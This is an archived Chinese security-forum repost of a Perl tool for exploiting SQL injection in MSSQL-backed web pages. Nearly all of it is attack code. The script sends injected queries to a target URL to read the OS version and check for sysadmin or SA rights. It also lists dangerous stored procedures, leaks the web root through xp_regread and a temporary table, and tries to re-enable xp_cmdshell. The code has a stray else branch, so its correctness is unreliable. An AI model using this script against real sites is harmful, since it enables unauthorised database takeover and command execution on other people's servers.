邪恶八进制信息安全团队技术讨论组's Archiver

exploit 2005-1-6 21:11

[转载]get mssql injection more info.pl

本文作者:lanker
文章出处:[url]www.cnwill.com[/url]
文章性质:原创
阅读次数:9
发布时间:2005-01-06
很久以前写的, 得知有注射后用可以得到很多基本信息,权限,扩展之类的还有绝对路径。

代码:

--------------------------------------------------------------------------------


#!/usr/bin/perl
#codz by lanker 2004/3/27
# Our Team :[url]www.cnwill.com[/url]|[url]www.nmsafe.net[/url]
#use get mssql injection more info
#thx ≯Super·Hei

$|=1;
use Socket;
print "=======================================================================\n";
print "           Codz By lanker <nmlanker\@163.com>              \n";
print "        My blog:[url]http://www.hackblog.com/blog.asp?name=lanker[/url]    \n";
print "=======================================================================\n";

my $ARGC = @ARGV;
if ($ARGC != 4)
{
print "usage:$0 127.0.0.1 81 /qc/list.asp?unid=2 测试成功\n";
exit;
}
$host=$ARGV[0];
$port=$ARGV[1];
$path=$ARGV[2];
$flag=$ARGV[3];

$bug="$path%20and%201=(select%20\@\@version);--";
$req= make_request($bug);
@res=sendraw($req);
print "======================Getting OS Infomation==========================\n\n";
print "Find The OS Info:\n";
foreach $resline(@res) {
   print $resline if $resline=~/\sWindows/isg;
}
$qx="$path%20and%201=(select%20IS_SRVROLEMEMBER(&#39;sysadmin&#39;));--";
$req= make_request($qx);
@res=sendraw($req);
$size=grep /$flag/,@res;
if ($size > 0) {
   print "Find IS_SRVROLEMEMBER : sysadmin\n";
}
else{
   print "\aFind IS_SRVROLEMEMBER is not sysadmin\n";
}

$sa="$path%20and%20&#39;sa&#39;=(select%20system_user);--";
$req= make_request($sa);
@res=sendraw($req);
$size=grep /$flag/,@res;
if ($size>0) {
   print "Find The User is SA\n";
}
else{
   print "\aFind The User isn&#39;t SA\n";
}

$exetend="$path%20and%201=(SELECT%20count(*)%20FROM%20master.dbo.sysobjects%20WHERE%20xtype%20=%20&#39;X&#39;%20AND%20name%20=%20&#39;xp_cmdshell&#39;);--";
$addexetend="$path%20;EXEC%20master.dbo.sp_addextendedproc%20&#39;xp_cmdshell&#39;,&#39;xplog70.dll&#39;;--";
$table="$path;create%20table%20[dbo].[nmlk]%20([mnlk][char](255));--";
$wdata="$path;DECLARE%20\@result%20varchar(255)%20EXEC%20master.dbo.xp_regread%20&#39;HKEY_LOCAL_MACHINE&#39;,&#39;SYSTEM\\ControlSet001\\Services\\W3SVC\\Parameters\\Virtual%20Roots&#39;,%20&#39;/&#39;,%20\@result%20output%20insert%20into%20nmlk%20(mnlk)%20values(\@result);--";
$rpath="$path%20and%201=(select%20count(*)%20from%20nmlk%20where%20mnlk%20>%201);--";
$deltable="$path;drop%20table%20nmlk;--";

print "\n===================Getting The Stored Procedures=====================\n\n";
@exentend=(&#39;xp_regread&#39;,&#39;sp_makewebtask&#39;,&#39;xp_cmdshell&#39;,&#39;xp_regwrite&#39;,&#39;xp_regdeletevalue&#39;,&#39;xp_regdeletekey&#39;,&#39;xp_loginconfig&#39;,&#39;xp_logininfo&#39;,&#39;xp_msver&#39;,&#39;xp_enumdsn&#39;,&#39;xo_enumgroups&#39;,&#39;xp_servicecontrol&#39;,&#39;xp_terminate_process&#39;);
foreach $exent(@exentend) {
$rqexent="$path%20and%201=(SELECT%20count(*)%20FROM%20master.dbo.sysobjects%20WHERE%20name%20=%20&#39;$exent&#39;);--";
$req= make_request($rqexent);
@res=sendraw($req);
$size=grep /$flag/,@res;
if ($size>0) {
   print "YeYe!!Find:$exent\n";
   push  @ex,$exent;
}
}



if ($ex[0] eq &#39;xp_regread&#39; && $ex[1] eq &#39;sp_makewebtask&#39;){
   print "\n=======================Getting The Web Path Now======================\n\n";
   sleep(2);
   $req= make_request($table);
   @res=sendraw($req);
   $size=grep /$flag/,@res;
   if ($size > 0) {
      print "Create Table ... Ok!!\n";
      sleep(1);
      $req= make_request($wdata);
      @res=sendraw($req);
      $size=grep /$flag/,@res;
      if ($size > 0) {
        print "Write The Data ... Ok!!\n";
        sleep(1);
        $req= make_request($rpath);
        @res=sendraw($req);
        print "Get The WEB Path:";
        foreach $tmpline (@res) {
        if($tmpline=~/char 值.*转换/isg) {
        ($s1,$s2,$s3)=split(/&#39;/,$tmpline);
        $s2=~s/ //isg;
        ($ss1,$ss2,$ss3)=split(",",$s2);
        print "$ss1\n";
        }
        }
        sleep(1);
           $req= make_request($deltable);
           @res=sendraw($req);
           $size=grep /$flag/,@res;
           if ($size>0) {
              print "Drop The Temp Table ... Ok!!\n";
           }
           else {
              print "Drop The Temp Table ... Faile!!\n";
              exit;
           }
        }
      else {
          print "Write The Data ... Faile!!\n";
          exit;
      }
   }
   else {
      print "Getting The WEB Path ... Faile!!\n";
      exit;
   }
   else {
   print "Can&#39;t acquire the path!\n";
   }

   if ($ex[2] ne &#39;xp_cmdshell&#39;) {
   print "Test Used xplog70.dll Return xp_cmdshell ....";
   sleep(3);
   $req= make_request($addexetend);
   @res=sendraw($req);
   $req= make_request($exetend);
   @res=sendraw($req);
   $size=grep /$flag/,@res;
   if ($size>0) {
   print "Succeevd !!\n";
   push  @ex,$exent;
   }
   else{
   print "Faile !!\n";
   }
}

}

sub sendraw {
my ($req) = @_;
my $target;
$target = inet_aton($host) || die("inet_aton problems\n");
socket(S,PF_INET,SOCK_STREAM,getprotobyname(&#39;tcp&#39;)||0) || die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
select(S);
$| = 1;
print $req;
my @res = <S>;
select(STDOUT);
close(S);
return @res;
}
else {
die("Can&#39;t connect...\n");
}
}

sub make_request
{
my $getstr=shift;
my $reqstr;
$reqstr= "POST $getstr HTTP/1.0\r\n".
"HOST:$host\r\n\r\n";
return $reqstr;
}

页: [1]
© 1999-2008 EvilOctal Security Team